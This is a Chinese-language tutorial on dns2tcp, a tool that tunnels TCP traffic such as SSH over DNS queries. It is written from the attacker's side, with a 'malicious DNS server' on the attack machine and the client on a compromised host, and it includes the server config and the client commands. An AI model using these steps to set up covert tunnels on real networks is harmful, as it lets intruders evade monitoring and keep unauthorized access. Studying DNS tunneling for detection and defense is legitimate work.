当前位置: 首页 > 工具软件 > DNS2SOCKS > 使用案例 >

『DNS隧道工具』— dns2tcp

谢修真
2023-12-01

一、入坑必读

1、简介

dns2tcp 是一个利用DNS隧道转发TCP连接的工具,使用C语言开发。

使用热度: ★★★★☆

2、专业词

  • Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
  • 直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求
  • 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。

3、放哪儿

攻击机被控机
服务端客户端

4、支持Type

  • KEY
  • TXT

5、兼容说明

  • 服务端运行在Linux服务器上,Windows不支持服务端,需编译,对应文件:dns2tcpd。
  • 客户端可运行在LinuxWindows上,对应文件:dns2tcpc。
  • kali系统内置dns2tcp

6、全套下载地址

  • CSDN:https://download.csdn.net/download/localhost01/10932795

二、原理简述

  1. 客户端会在本地监听一个端口,并指定:要使用服务端上面的哪个资源(如sshsockethttp

  2. 我们只需把数据扔进本地的该端口,dns2tcpc将使用DNS隧道传送到服务端。

  3. 随后,服务端根据客户端指定要使用的资源,将数据转发到其本机的相应端口中去。

  4. 这里的相应端口,可通过配置文件(/etc/dns2tcpd.conf)配置,如:
    resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:8082

因此,使用也简单:所有请求只需扔到本地监听的端口即可

三、安装使用

1、安装

下载下来即可!

2、使用

服务端:

1、编辑/etc/dns2tcpd.conf文件,内容如下:

listen = 192.168.10.88(本机IP) 
port = 53 
user = nobody 
chroot = /var/empty/dns2tcp/ 
# 连接密码
key = 123456  
# 解析的域名
domain = abc.com 
# 提供出来可使用的资源列表
resources = ssh:127.0.0.1:22,http:127.0.0.1:8080

2、运行dns2tcpd:

dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

其中:

  • -F 前台运行
  • -d 调试信息基本,越低信息越全
  • -f 配置文件

客户端:

1、连接测试:

dns2tcpc -key 123456 -z abc.com <your server ip>

其中:

  • -key 连接密码
  • -z 启用压缩,速度将更快
  • <your server ip> 可选,服务端所在IP(DNS服务器IP)。不写将使用中继模式,否则使用直连模式

如果提示:

Available connection(s):
        ssh   

表示连接可用!

2、进行连接:

dns2tcpc -key 123456 -r ssh -l 9999 -z abc.com <your server ip>

其中:

  • -r 表示要使用的服务器的哪个资源
  • -l 本地监听的端口
  • <your server ip> 可选,服务端所在IP(DNS服务器IP)。不写将使用中继模式,否则使用直连模式

然后:

# ssh连接
ssh 127.0.0.1 -p 9999
 类似资料: